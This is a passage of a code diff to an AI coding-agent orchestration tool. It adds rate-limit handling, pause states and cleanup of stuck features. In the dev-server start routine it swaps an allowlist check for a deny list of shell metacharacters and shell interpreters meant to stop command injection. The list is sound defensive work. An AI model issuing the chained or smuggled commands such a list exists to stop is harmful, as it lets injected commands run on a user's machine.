elif block_type == "ToolUseBlock" and hasattr(block, "name"):
|
||||||
tool_name = block.name
|
tool_name = block.name
|
||||||
tool_input = getattr(block, "input", {})
|
tool_input = getattr(block, "input", {})
|
||||||
yield {
|
|
||||||
"type": "tool_call",
|
# Intercept ask_user tool calls -> yield as question message
|
||||||
"tool": tool_name,
|
if tool_name == "mcp__features__ask_user":
|
||||||
"input": tool_input,
|
questions = tool_input.get("questions", [])
|
||||||
}
|
if questions:
|
||||||
|
yield {
|
||||||
|
"type": "question",
|
||||||
|
"questions": questions,
|
||||||
|
}
|
||||||
|
continue
|
||||||
|
|
||||||
|
yield {
|
||||||
|
"type": "tool_call",
|
||||||
|
"tool": tool_name,
|
||||||
|
"input": tool_input,
|
||||||
|
}
|
||||||
|
except Exception as exc:
|
||||||
|
is_rate_limit, _ = check_rate_limit_error(exc)
|
||||||
|
if is_rate_limit:
|
||||||
|
logger.warning(f"Rate limited: {exc}")
|
||||||
|
yield {"type": "error", "content": "Rate limited. Please try again later."}
|
||||||
|
return
|
||||||
|
raise
|
||||||
|
|
||||||
# Store the complete response in the database
|
# Store the complete response in the database
|
||||||
if full_response and self.conversation_id:
|
if full_response and self.conversation_id:
|
||||||
|
|||||||
@@ -64,7 +64,7 @@ class ConversationMessage(Base):
|
|||||||
|
|
||||||
def get_db_path(project_dir: Path) -> Path:
|
def get_db_path(project_dir: Path) -> Path:
|
||||||
"""Get the path to the assistant database for a project."""
|
"""Get the path to the assistant database for a project."""
|
||||||
from autocoder_paths import get_assistant_db_path
|
from autoforge_paths import get_assistant_db_path
|
||||||
return get_assistant_db_path(project_dir)
|
return get_assistant_db_path(project_dir)
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -9,12 +9,13 @@ project root and is re-exported here for convenience so that existing
|
|||||||
imports (``from .chat_constants import API_ENV_VARS``) continue to work.
|
imports (``from .chat_constants import API_ENV_VARS``) continue to work.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
import logging
|
||||||
import sys
|
import sys
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
from typing import AsyncGenerator
|
from typing import Any, AsyncGenerator
|
||||||
|
|
||||||
# -------------------------------------------------------------------
|
# -------------------------------------------------------------------
|
||||||
# Root directory of the autocoder project (repository root).
|
# Root directory of the autoforge project (repository root).
|
||||||
# Used throughout the server package whenever the repo root is needed.
|
# Used throughout the server package whenever the repo root is needed.
|
||||||
# -------------------------------------------------------------------
|
# -------------------------------------------------------------------
|
||||||
ROOT_DIR = Path(__file__).parent.parent.parent
|
ROOT_DIR = Path(__file__).parent.parent.parent
|
||||||
@@ -32,6 +33,59 @@ if _root_str not in sys.path:
|
|||||||
# imports continue to work unchanged.
|
# imports continue to work unchanged.
|
||||||
# -------------------------------------------------------------------
|
# -------------------------------------------------------------------
|
||||||
from env_constants import API_ENV_VARS # noqa: E402, F401
|
from env_constants import API_ENV_VARS # noqa: E402, F401
|
||||||
|
from rate_limit_utils import is_rate_limit_error, parse_retry_after # noqa: E402, F401
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
def check_rate_limit_error(exc: Exception) -> tuple[bool, int | None]:
|
||||||
|
"""Inspect an exception and determine if it represents a rate-limit.
|
||||||
|
|
||||||
|
Returns ``(is_rate_limit, retry_seconds)``. ``retry_seconds`` is the
|
||||||
|
parsed Retry-After value when available, otherwise ``None`` (caller
|
||||||
|
should use exponential backoff).
|
||||||
|
"""
|
||||||
|
# MessageParseError = unknown CLI message type (e.g. "rate_limit_event").
|
||||||
|
# These are informational events, NOT actual rate limit errors.
|
||||||
|
# The word "rate_limit" in the type name would false-positive the regex.
|
||||||
|
if type(exc).__name__ == "MessageParseError":
|
||||||
|
return False, None
|
||||||
|
|
||||||
|
# For all other exceptions: match error text against known rate-limit patterns
|
||||||
|
exc_str = str(exc)
|
||||||
|
if is_rate_limit_error(exc_str):
|
||||||
|
retry = parse_retry_after(exc_str)
|
||||||
|
return True, retry
|
||||||
|
|
||||||
|
return False, None
|
||||||
|
|
||||||
|
|
||||||
|
async def safe_receive_response(client: Any, log: logging.Logger) -> AsyncGenerator:
|
||||||
|
"""Wrap ``client.receive_response()`` to skip ``MessageParseError``.
|
||||||
|
|
||||||
|
The Claude Code CLI may emit message types (e.g. ``rate_limit_event``)
|
||||||
|
that the installed Python SDK does not recognise, causing
|
||||||
|
``MessageParseError`` which kills the async generator. The CLI
|
||||||
|
subprocess is still alive and the SDK uses a buffered memory channel,
|
||||||
|
so we restart ``receive_response()`` to continue reading remaining
|
||||||
|
messages without losing data.
|
||||||
|
"""
|
||||||
|
max_retries = 50
|
||||||
|
retries = 0
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
async for msg in client.receive_response():
|
||||||
|
yield msg
|
||||||
|
return # Normal completion
|
||||||
|
except Exception as exc:
|
||||||
|
if type(exc).__name__ == "MessageParseError":
|
||||||
|
retries += 1
|
||||||
|
if retries > max_retries:
|
||||||
|
log.error(f"Too many unrecognized CLI messages ({retries}), stopping")
|
||||||
|
return
|
||||||
|
log.warning(f"Ignoring unrecognized message from Claude CLI: {exc}")
|
||||||
|
continue
|
||||||
|
raise
|
||||||
|
|
||||||
|
|
||||||
async def make_multimodal_message(content_blocks: list[dict]) -> AsyncGenerator[dict, None]:
|
async def make_multimodal_message(content_blocks: list[dict]) -> AsyncGenerator[dict, None]:
|
||||||
|
|||||||
@@ -14,17 +14,17 @@ This is a simplified version of AgentProcessManager, tailored for dev servers:
|
|||||||
import asyncio
|
import asyncio
|
||||||
import logging
|
import logging
|
||||||
import re
|
import re
|
||||||
|
import shlex
|
||||||
import subprocess
|
import subprocess
|
||||||
import sys
|
import sys
|
||||||
import threading
|
import threading
|
||||||
from datetime import datetime
|
from datetime import datetime, timezone
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
from typing import Awaitable, Callable, Literal, Set
|
from typing import Awaitable, Callable, Literal, Set
|
||||||
|
|
||||||
import psutil
|
import psutil
|
||||||
|
|
||||||
from registry import list_registered_projects
|
from registry import list_registered_projects
|
||||||
from security import extract_commands, get_effective_commands, is_command_allowed
|
|
||||||
from server.utils.process_utils import kill_process_tree
|
from server.utils.process_utils import kill_process_tree
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
@@ -115,7 +115,7 @@ class DevServerProcessManager:
|
|||||||
self._callbacks_lock = threading.Lock()
|
self._callbacks_lock = threading.Lock()
|
||||||
|
|
||||||
# Lock file to prevent multiple instances (stored in project directory)
|
# Lock file to prevent multiple instances (stored in project directory)
|
||||||
from autocoder_paths import get_devserver_lock_path
|
from autoforge_paths import get_devserver_lock_path
|
||||||
self.lock_file = get_devserver_lock_path(self.project_dir)
|
self.lock_file = get_devserver_lock_path(self.project_dir)
|
||||||
|
|
||||||
@property
|
@property
|
||||||
@@ -291,53 +291,54 @@ class DevServerProcessManager:
|
|||||||
Start the dev server as a subprocess.
|
Start the dev server as a subprocess.
|
||||||
|
|
||||||
Args:
|
Args:
|
||||||
command: The shell command to run (e.g., "npm run dev")
|
command: The command to run (e.g., "npm run dev")
|
||||||
|
|
||||||
Returns:
|
Returns:
|
||||||
Tuple of (success, message)
|
Tuple of (success, message)
|
||||||
"""
|
"""
|
||||||
if self.status == "running":
|
# Already running?
|
||||||
|
if self.process and self.status == "running":
|
||||||
return False, "Dev server is already running"
|
return False, "Dev server is already running"
|
||||||
|
|
||||||
|
# Lock check (prevents double-start)
|
||||||
if not self._check_lock():
|
if not self._check_lock():
|
||||||
return False, "Another dev server instance is already running for this project"
|
return False, "Dev server already running (lock file present)"
|
||||||
|
|
||||||
# Validate that project directory exists
|
command = (command or "").strip()
|
||||||
if not self.project_dir.exists():
|
if not command:
|
||||||
return False, f"Project directory does not exist: {self.project_dir}"
|
return False, "Empty dev server command"
|
||||||
|
|
||||||
# Defense-in-depth: validate command against security allowlist
|
# SECURITY: block shell operators/metacharacters (defense-in-depth)
|
||||||
commands = extract_commands(command)
|
# NOTE: On Windows, .cmd/.bat files are executed via cmd.exe even with
|
||||||
if not commands:
|
# shell=False (CPython limitation), so metacharacter blocking is critical.
|
||||||
return False, "Could not parse command for security validation"
|
# Single & is a cmd.exe command separator, ^ is cmd escape, % enables
|
||||||
|
# environment variable expansion, > < enable redirection.
|
||||||
|
dangerous_ops = ["&&", "||", ";", "|", "`", "$(", "&", ">", "<", "^", "%"]
|
||||||
|
if any(op in command for op in dangerous_ops):
|
||||||
|
return False, "Shell operators are not allowed in dev server command"
|
||||||
|
# Block newline injection (cmd.exe interprets newlines as command separators)
|
||||||
|
if "\n" in command or "\r" in command:
|
||||||
|
return False, "Newlines are not allowed in dev server command"
|
||||||
|
|
||||||
allowed_commands, blocked_commands = get_effective_commands(self.project_dir)
|
# Parse into argv and execute without shell
|
||||||
for cmd in commands:
|
argv = shlex.split(command, posix=(sys.platform != "win32"))
|
||||||
if cmd in blocked_commands:
|
if not argv:
|
||||||
logger.warning("Blocked dev server command '%s' (in blocklist) for %s", cmd, self.project_name)
|
return False, "Empty dev server command"
|
||||||
return False, f"Command '{cmd}' is blocked and cannot be used as a dev server command"
|
|
||||||
if not is_command_allowed(cmd, allowed_commands):
|
|
||||||
logger.warning("Rejected dev server command '%s' (not in allowlist) for %s", cmd, self.project_name)
|
|
||||||
return False, f"Command '{cmd}' is not in the allowed commands list"
|
|
||||||
|
|
||||||
self._command = command
|
base = Path(argv[0]).name.lower()
|
||||||
self._detected_url = None # Reset URL detection
|
|
||||||
|
# Defense-in-depth: reject direct shells/interpreters commonly used for injection
|
||||||
|
if base in {"sh", "bash", "zsh", "cmd", "powershell", "pwsh"}:
|
||||||
|
return False, f"Shell runner '{base}' is not allowed for dev server commands"
|
||||||
|
|
||||||
|
# Windows: use .cmd shims for Node package managers
|
||||||
|
if sys.platform == "win32" and base in {"npm", "pnpm", "yarn", "npx"} and not argv[0].lower().endswith(".cmd"):
|
||||||
|
argv[0] = argv[0] + ".cmd"
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Determine shell based on platform
|
|
||||||
if sys.platform == "win32":
|
|
||||||
# On Windows, use cmd.exe
|
|
||||||
shell_cmd = ["cmd", "/c", command]
|
|
||||||
else:
|
|
||||||
# On Unix-like systems, use sh
|
|
||||||
shell_cmd = ["sh", "-c", command]
|
|
||||||
|
|
||||||
# Start subprocess with piped stdout/stderr
|
|
||||||
# stdin=DEVNULL prevents interactive dev servers from blocking on stdin
|
|
||||||
# On Windows, use CREATE_NO_WINDOW to prevent console window from flashing
|
|
||||||
if sys.platform == "win32":
|
if sys.platform == "win32":
|
||||||
self.process = subprocess.Popen(
|
self.process = subprocess.Popen(
|
||||||
shell_cmd,
|
argv,
|
||||||
stdin=subprocess.DEVNULL,
|
stdin=subprocess.DEVNULL,
|
||||||
stdout=subprocess.PIPE,
|
stdout=subprocess.PIPE,
|
||||||
stderr=subprocess.STDOUT,
|
stderr=subprocess.STDOUT,
|
||||||
@@ -346,23 +347,33 @@ class DevServerProcessManager:
|
|||||||
)
|
)
|
||||||
else:
|
else:
|
||||||
self.process = subprocess.Popen(
|
self.process = subprocess.Popen(
|
||||||
shell_cmd,
|
argv,
|
||||||
stdin=subprocess.DEVNULL,
|
stdin=subprocess.DEVNULL,
|
||||||
stdout=subprocess.PIPE,
|
stdout=subprocess.PIPE,
|
||||||
stderr=subprocess.STDOUT,
|
stderr=subprocess.STDOUT,
|
||||||
cwd=str(self.project_dir),
|
cwd=str(self.project_dir),
|
||||||
)
|
)
|
||||||
|
|
||||||
self._create_lock()
|
self._command = command
|
||||||
self.started_at = datetime.now()
|
self.started_at = datetime.now(timezone.utc)
|
||||||
self.status = "running"
|
self._detected_url = None
|
||||||
|
|
||||||
# Start output streaming task
|
# Create lock once we have a PID
|
||||||
|
self._create_lock()
|
||||||
|
|
||||||
|
# Start output streaming
|
||||||
|
self.status = "running"
|
||||||
self._output_task = asyncio.create_task(self._stream_output())
|
self._output_task = asyncio.create_task(self._stream_output())
|
||||||
|
|
||||||
return True, f"Dev server started with PID {self.process.pid}"
|
return True, "Dev server started"
|
||||||
|
|
||||||
|
except FileNotFoundError:
|
||||||
|
self.status = "stopped"
|
||||||
|
self.process = None
|
||||||
|
return False, f"Command not found: {argv[0]}"
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.exception("Failed to start dev server")
|
self.status = "stopped"
|
||||||
|
self.process = None
|
||||||
return False, f"Failed to start dev server: {e}"
|
return False, f"Failed to start dev server: {e}"
|
||||||
|
|
||||||
async def stop(self) -> tuple[bool, str]:
|
async def stop(self) -> tuple[bool, str]:
|
||||||
@@ -504,10 +515,10 @@ def cleanup_orphaned_devserver_locks() -> int:
|
|||||||
continue
|
continue
|
||||||
|
|
||||||
# Check both legacy and new locations for lock files
|
# Check both legacy and new locations for lock files
|
||||||
from autocoder_paths import get_autocoder_dir
|
from autoforge_paths import get_autoforge_dir
|
||||||
lock_locations = [
|
lock_locations = [
|
||||||
project_path / ".devserver.lock",
|
project_path / ".devserver.lock",
|
||||||
get_autocoder_dir(project_path) / ".devserver.lock",
|
get_autoforge_dir(project_path) / ".devserver.lock",
|
||||||
]
|
]
|
||||||
lock_file = None
|
lock_file = None
|
||||||
for candidate in lock_locations:
|
for candidate in lock_locations:
|
||||||
|
|||||||
@@ -22,7 +22,12 @@ from claude_agent_sdk import ClaudeAgentOptions, ClaudeSDKClient
|
|||||||
from dotenv import load_dotenv
|
from dotenv import load_dotenv
|
||||||
|
|
||||||
from ..schemas import ImageAttachment
|
from ..schemas import ImageAttachment
|
||||||
from .chat_constants import API_ENV_VARS, ROOT_DIR, make_multimodal_message
|
from .chat_constants import (
|
||||||
|
ROOT_DIR,
|
||||||
|
check_rate_limit_error,
|
||||||
|
make_multimodal_message,
|
||||||
|
safe_receive_response,
|
||||||
|
)
|
||||||
|
|
||||||
# Load environment variables from .env file if present
|
# Load environment variables from .env file if present
|
||||||
load_dotenv()
|
load_dotenv()
|
||||||
@@ -103,7 +108,7 @@ class ExpandChatSession:
|
|||||||
return
|
return
|
||||||
|
|
||||||
# Verify project has existing spec
|
# Verify project has existing spec
|
||||||
from autocoder_paths import get_prompts_dir
|
from autoforge_paths import get_prompts_dir
|
||||||
spec_path = get_prompts_dir(self.project_dir) / "app_spec.txt"
|
spec_path = get_prompts_dir(self.project_dir) / "app_spec.txt"
|
||||||
if not spec_path.exists():
|
if not spec_path.exists():
|
||||||
yield {
|
yield {
|
||||||
@@ -142,7 +147,7 @@ class ExpandChatSession:
|
|||||||
],
|
],
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
from autocoder_paths import get_expand_settings_path
|
from autoforge_paths import get_expand_settings_path
|
||||||
settings_file = get_expand_settings_path(self.project_dir, uuid.uuid4().hex)
|
settings_file = get_expand_settings_path(self.project_dir, uuid.uuid4().hex)
|
||||||
settings_file.parent.mkdir(parents=True, exist_ok=True)
|
settings_file.parent.mkdir(parents=True, exist_ok=True)
|
||||||
self._settings_file = settings_file
|
self._settings_file = settings_file
|
||||||
@@ -154,16 +159,11 @@ class ExpandChatSession:
|
|||||||
system_prompt = skill_content.replace("$ARGUMENTS", project_path)
|
system_prompt = skill_content.replace("$ARGUMENTS", project_path)
|
||||||
|
|
||||||
# Build environment overrides for API configuration
|
# Build environment overrides for API configuration
|
||||||
# Filter to only include vars that are actually set (non-None)
|
from registry import DEFAULT_MODEL, get_effective_sdk_env
|
||||||
sdk_env: dict[str, str] = {}
|
sdk_env = get_effective_sdk_env()
|
||||||
for var in API_ENV_VARS:
|
|
||||||
value = os.getenv(var)
|
|
||||||
if value:
|
|
||||||
sdk_env[var] = value
|
|
||||||
|
|
||||||
# Determine model from environment or use default
|
# Determine model from SDK env (provider-aware) or fallback to env/default
|
||||||
# This allows using alternative APIs (e.g., GLM via z.ai) that may not support Claude model names
|
model = sdk_env.get("ANTHROPIC_DEFAULT_OPUS_MODEL") or os.getenv("ANTHROPIC_DEFAULT_OPUS_MODEL", DEFAULT_MODEL)
|
||||||
model = os.getenv("ANTHROPIC_DEFAULT_OPUS_MODEL", "claude-opus-4-5-20251101")
|
|
||||||
|
|
||||||
# Build MCP servers config for feature creation
|
# Build MCP servers config for feature creation
|
||||||
mcp_servers = {
|
mcp_servers = {
|
||||||
@@ -304,23 +304,31 @@ class ExpandChatSession:
|
|||||||
await self.client.query(message)
|
await self.client.query(message)
|
||||||
|
|
||||||
# Stream the response
|
# Stream the response
|
||||||
async for msg in self.client.receive_response():
|
try:
|
||||||
msg_type = type(msg).__name__
|
async for msg in safe_receive_response(self.client, logger):
|
||||||
|
msg_type = type(msg).__name__
|
||||||
|
|
||||||
if msg_type == "AssistantMessage" and hasattr(msg, "content"):
|
if msg_type == "AssistantMessage" and hasattr(msg, "content"):
|
||||||
for block in msg.content:
|
for block in msg.content:
|
||||||
block_type = type(block).__name__
|
block_type = type(block).__name__
|
||||||
|
|
||||||
if block_type == "TextBlock" and hasattr(block, "text"):
|
if block_type == "TextBlock" and hasattr(block, "text"):
|
||||||
text = block.text
|
text = block.text
|
||||||
if text:
|
if text:
|
||||||
yield {"type": "text", "content": text}
|
yield {"type": "text", "content": text}
|
||||||
|
|
||||||
self.messages.append({
|
self.messages.append({
|
||||||
"role": "assistant",
|
"role": "assistant",
|
||||||
"content": text,
|
"content": text,
|
||||||
"timestamp": datetime.now().isoformat()
|
"timestamp": datetime.now().isoformat()
|
||||||
})
|
})
|
||||||
|
except Exception as exc:
|
||||||
|
is_rate_limit, _ = check_rate_limit_error(exc)
|
||||||
|
if is_rate_limit:
|
||||||
|
logger.warning(f"Rate limited: {exc}")
|
||||||
|
yield {"type": "error", "content": "Rate limited. Please try again later."}
|
||||||
|
return
|
||||||
|
raise
|
||||||
|
|
||||||
def get_features_created(self) -> int:
|
def get_features_created(self) -> int:
|
||||||
"""Get the total number of features created in this session."""
|
"""Get the total number of features created in this session."""
|
||||||
|
|||||||
@@ -77,7 +77,7 @@ class AgentProcessManager:
|
|||||||
self.project_dir = project_dir
|
self.project_dir = project_dir
|
||||||
self.root_dir = root_dir
|
self.root_dir = root_dir
|
||||||
self.process: subprocess.Popen | None = None
|
self.process: subprocess.Popen | None = None
|
||||||
self._status: Literal["stopped", "running", "paused", "crashed"] = "stopped"
|
self._status: Literal["stopped", "running", "paused", "crashed", "pausing", "paused_graceful"] = "stopped"
|
||||||
self.started_at: datetime | None = None
|
self.started_at: datetime | None = None
|
||||||
self._output_task: asyncio.Task | None = None
|
self._output_task: asyncio.Task | None = None
|
||||||
self.yolo_mode: bool = False # YOLO mode for rapid prototyping
|
self.yolo_mode: bool = False # YOLO mode for rapid prototyping
|
||||||
@@ -92,15 +92,15 @@ class AgentProcessManager:
|
|||||||
self._callbacks_lock = threading.Lock()
|
self._callbacks_lock = threading.Lock()
|
||||||
|
|
||||||
# Lock file to prevent multiple instances (stored in project directory)
|
# Lock file to prevent multiple instances (stored in project directory)
|
||||||
from autocoder_paths import get_agent_lock_path
|
from autoforge_paths import get_agent_lock_path
|
||||||
self.lock_file = get_agent_lock_path(self.project_dir)
|
self.lock_file = get_agent_lock_path(self.project_dir)
|
||||||
|
|
||||||
@property
|
@property
|
||||||
def status(self) -> Literal["stopped", "running", "paused", "crashed"]:
|
def status(self) -> Literal["stopped", "running", "paused", "crashed", "pausing", "paused_graceful"]:
|
||||||
return self._status
|
return self._status
|
||||||
|
|
||||||
@status.setter
|
@status.setter
|
||||||
def status(self, value: Literal["stopped", "running", "paused", "crashed"]):
|
def status(self, value: Literal["stopped", "running", "paused", "crashed", "pausing", "paused_graceful"]):
|
||||||
old_status = self._status
|
old_status = self._status
|
||||||
self._status = value
|
self._status = value
|
||||||
if old_status != value:
|
if old_status != value:
|
||||||
@@ -227,6 +227,68 @@ class AgentProcessManager:
|
|||||||
"""Remove lock file."""
|
"""Remove lock file."""
|
||||||
self.lock_file.unlink(missing_ok=True)
|
self.lock_file.unlink(missing_ok=True)
|
||||||
|
|
||||||
|
def _apply_playwright_headless(self, headless: bool) -> None:
|
||||||
|
"""Update .playwright/cli.config.json with the current headless setting.
|
||||||
|
|
||||||
|
playwright-cli reads this config file on each ``open`` command, so
|
||||||
|
updating it before the agent starts is sufficient.
|
||||||
|
"""
|
||||||
|
config_file = self.project_dir / ".playwright" / "cli.config.json"
|
||||||
|
if not config_file.exists():
|
||||||
|
return
|
||||||
|
try:
|
||||||
|
import json
|
||||||
|
config = json.loads(config_file.read_text(encoding="utf-8"))
|
||||||
|
launch_opts = config.get("browser", {}).get("launchOptions", {})
|
||||||
|
if launch_opts.get("headless") == headless:
|
||||||
|
return # already correct
|
||||||
|
launch_opts["headless"] = headless
|
||||||
|
config.setdefault("browser", {})["launchOptions"] = launch_opts
|
||||||
|
config_file.write_text(json.dumps(config, indent=2) + "\n", encoding="utf-8")
|
||||||
|
logger.info("Set playwright headless=%s for %s", headless, self.project_name)
|
||||||
|
except Exception:
|
||||||
|
logger.warning("Failed to update playwright config", exc_info=True)
|
||||||
|
|
||||||
|
def _cleanup_stale_features(self) -> None:
|
||||||
|
"""Clear in_progress flag for all features when agent stops/crashes.
|
||||||
|
|
||||||
|
When the agent process exits (normally or crash), any features left
|
||||||
|
with in_progress=True were being worked on and didn't complete.
|
||||||
|
Reset them so they can be picked up on next agent start.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
from autoforge_paths import get_features_db_path
|
||||||
|
features_db = get_features_db_path(self.project_dir)
|
||||||
|
if not features_db.exists():
|
||||||
|
return
|
||||||
|
|
||||||
|
from sqlalchemy import create_engine
|
||||||
|
from sqlalchemy.orm import sessionmaker
|
||||||
|
|
||||||
|
from api.database import Feature
|
||||||
|
|
||||||
|
engine = create_engine(f"sqlite:///{features_db}")
|
||||||
|
Session = sessionmaker(bind=engine)
|
||||||
|
session = Session()
|
||||||
|
try:
|
||||||
|
stuck = session.query(Feature).filter(
|
||||||
|
Feature.in_progress == True, # noqa: E712
|
||||||
|
Feature.passes == False, # noqa: E712
|
||||||
|
).all()
|
||||||
|
if stuck:
|
||||||
|
for f in stuck:
|
||||||
|
f.in_progress = False # type: ignore[assignment]
|
||||||
|
session.commit()
|
||||||
|
logger.info(
|
||||||
|
"Cleaned up %d stuck feature(s) for %s",
|
||||||
|
len(stuck), self.project_name,
|
||||||
|
)
|
||||||
|
finally:
|
||||||
|
session.close()
|
||||||
|
engine.dispose()
|
||||||
|
except Exception as e:
|
||||||
|
logger.warning("Failed to cleanup features for %s: %s", self.project_name, e)
|
||||||
|
|
||||||
async def _broadcast_output(self, line: str) -> None:
|
async def _broadcast_output(self, line: str) -> None:
|
||||||
"""Broadcast output line to all registered callbacks."""
|
"""Broadcast output line to all registered callbacks."""
|
||||||
with self._callbacks_lock:
|
with self._callbacks_lock:
|
||||||
@@ -268,6 +330,12 @@ class AgentProcessManager:
|
|||||||
for help_line in AUTH_ERROR_HELP.strip().split('\n'):
|
for help_line in AUTH_ERROR_HELP.strip().split('\n'):
|
||||||
await self._broadcast_output(help_line)
|
await self._broadcast_output(help_line)
|
||||||
|
|
||||||
|
# Detect graceful pause status transitions from orchestrator output
|
||||||
|
if "All agents drained - paused." in decoded:
|
||||||
|
self.status = "paused_graceful"
|
||||||
|
elif "Resuming from graceful pause..." in decoded:
|
||||||
|
self.status = "running"
|
||||||
|
|
||||||
await self._broadcast_output(sanitized)
|
await self._broadcast_output(sanitized)
|
||||||
|
|
||||||
except asyncio.CancelledError:
|
except asyncio.CancelledError:
|
||||||
@@ -278,7 +346,7 @@ class AgentProcessManager:
|
|||||||
# Check if process ended
|
# Check if process ended
|
||||||
if self.process and self.process.poll() is not None:
|
if self.process and self.process.poll() is not None:
|
||||||
exit_code = self.process.returncode
|
exit_code = self.process.returncode
|
||||||
if exit_code != 0 and self.status == "running":
|
if exit_code != 0 and self.status in ("running", "pausing", "paused_graceful"):
|
||||||
# Check buffered output for auth errors if we haven't detected one yet
|
# Check buffered output for auth errors if we haven't detected one yet
|
||||||
if not auth_error_detected:
|
if not auth_error_detected:
|
||||||
combined_output = '\n'.join(output_buffer)
|
combined_output = '\n'.join(output_buffer)
|
||||||
@@ -286,9 +354,16 @@ class AgentProcessManager:
|
|||||||
for help_line in AUTH_ERROR_HELP.strip().split('\n'):
|
for help_line in AUTH_ERROR_HELP.strip().split('\n'):
|
||||||
await self._broadcast_output(help_line)
|
await self._broadcast_output(help_line)
|
||||||
self.status = "crashed"
|
self.status = "crashed"
|
||||||
elif self.status == "running":
|
elif self.status in ("running", "pausing", "paused_graceful"):
|
||||||
self.status = "stopped"
|
self.status = "stopped"
|
||||||
|
self._cleanup_stale_features()
|
||||||
self._remove_lock()
|
self._remove_lock()
|
||||||
|
# Clean up drain signal file if present
|
||||||
|
try:
|
||||||
|
from autoforge_paths import get_pause_drain_path
|
||||||
|
get_pause_drain_path(self.project_dir).unlink(missing_ok=True)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
async def start(
|
async def start(
|
||||||
self,
|
self,
|
||||||
@@ -305,7 +380,7 @@ class AgentProcessManager:
|
|||||||
|
|
||||||
Args:
|
Args:
|
||||||
yolo_mode: If True, run in YOLO mode (skip testing agents)
|
yolo_mode: If True, run in YOLO mode (skip testing agents)
|
||||||
model: Model to use (e.g., claude-opus-4-5-20251101)
|
model: Model to use (e.g., claude-opus-4-6)
|
||||||
parallel_mode: DEPRECATED - ignored, always uses unified orchestrator
|
parallel_mode: DEPRECATED - ignored, always uses unified orchestrator
|
||||||
max_concurrency: Max concurrent coding agents (1-5, default 1)
|
max_concurrency: Max concurrent coding agents (1-5, default 1)
|
||||||
testing_agent_ratio: Number of regression testing agents (0-3, default 1)
|
testing_agent_ratio: Number of regression testing agents (0-3, default 1)
|
||||||
@@ -314,12 +389,24 @@ class AgentProcessManager:
|
|||||||
Returns:
|
Returns:
|
||||||
Tuple of (success, message)
|
Tuple of (success, message)
|
||||||
"""
|
"""
|
||||||
if self.status in ("running", "paused"):
|
if self.status in ("running", "paused", "pausing", "paused_graceful"):
|
||||||
return False, f"Agent is already {self.status}"
|
return False, f"Agent is already {self.status}"
|
||||||
|
|
||||||
if not self._check_lock():
|
if not self._check_lock():
|
||||||
return False, "Another agent instance is already running for this project"
|
return False, "Another agent instance is already running for this project"
|
||||||
|
|
||||||
|
# Clean up stale browser daemons from previous runs
|
||||||
|
try:
|
||||||
|
subprocess.run(
|
||||||
|
["playwright-cli", "kill-all"],
|
||||||
|
timeout=5, capture_output=True,
|
||||||
|
)
|
||||||
|
except (subprocess.TimeoutExpired, FileNotFoundError, OSError):
|
||||||
|
pass
|
||||||
|
|
||||||
|
# Clean up features stuck from a previous crash/stop
|
||||||
|
self._cleanup_stale_features()
|
||||||
|
|
||||||
# Store for status queries
|
# Store for status queries
|
||||||
self.yolo_mode = yolo_mode
|
self.yolo_mode = yolo_mode
|
||||||
self.model = model
|
self.model = model
|
||||||
@@ -353,18 +440,33 @@ class AgentProcessManager:
|
|||||||
# Add --batch-size flag for multi-feature batching
|
# Add --batch-size flag for multi-feature batching
|
||||||
cmd.extend(["--batch-size", str(batch_size)])
|
cmd.extend(["--batch-size", str(batch_size)])
|
||||||
|
|
||||||
|
# Apply headless setting to .playwright/cli.config.json so playwright-cli
|
||||||
|
# picks it up (the only mechanism it supports for headless control)
|
||||||
|
self._apply_playwright_headless(playwright_headless)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Start subprocess with piped stdout/stderr
|
# Start subprocess with piped stdout/stderr
|
||||||
# Use project_dir as cwd so Claude SDK sandbox allows access to project files
|
# Use project_dir as cwd so Claude SDK sandbox allows access to project files
|
||||||
# stdin=DEVNULL prevents blocking if Claude CLI or child process tries to read stdin
|
# stdin=DEVNULL prevents blocking if Claude CLI or child process tries to read stdin
|
||||||
# CREATE_NO_WINDOW on Windows prevents console window pop-ups
|
# CREATE_NO_WINDOW on Windows prevents console window pop-ups
|
||||||
# PYTHONUNBUFFERED ensures output isn't delayed
|
# PYTHONUNBUFFERED ensures output isn't delayed
|
||||||
|
# Build subprocess environment with API provider settings
|
||||||
|
from registry import get_effective_sdk_env
|
||||||
|
api_env = get_effective_sdk_env()
|
||||||
|
subprocess_env = {
|
||||||
|
**os.environ,
|
||||||
|
"PYTHONUNBUFFERED": "1",
|
||||||
|
"PLAYWRIGHT_CLI_SESSION": f"agent-{self.project_name}-{os.getpid()}",
|
||||||
|
"NODE_COMPILE_CACHE": "", # Disable V8 compile caching to prevent .node file accumulation in %TEMP%
|
||||||
|
**api_env,
|
||||||
|
}
|
||||||
|
|
||||||
popen_kwargs: dict[str, Any] = {
|
popen_kwargs: dict[str, Any] = {
|
||||||
"stdin": subprocess.DEVNULL,
|
"stdin": subprocess.DEVNULL,
|
||||||
"stdout": subprocess.PIPE,
|
"stdout": subprocess.PIPE,
|
||||||
"stderr": subprocess.STDOUT,
|
"stderr": subprocess.STDOUT,
|
||||||
"cwd": str(self.project_dir),
|
"cwd": str(self.project_dir),
|
||||||
"env": {**os.environ, "PYTHONUNBUFFERED": "1", "PLAYWRIGHT_HEADLESS": "true" if playwright_headless else "false"},
|
"env": subprocess_env,
|
||||||
}
|
}
|
||||||
if sys.platform == "win32":
|
if sys.platform == "win32":
|
||||||
popen_kwargs["creationflags"] = subprocess.CREATE_NO_WINDOW
|
popen_kwargs["creationflags"] = subprocess.CREATE_NO_WINDOW
|
||||||
@@ -414,6 +516,15 @@ class AgentProcessManager:
|
|||||||
except asyncio.CancelledError:
|
except asyncio.CancelledError:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
# Kill browser daemons before stopping agent
|
||||||
|
try:
|
||||||
|
subprocess.run(
|
||||||
|
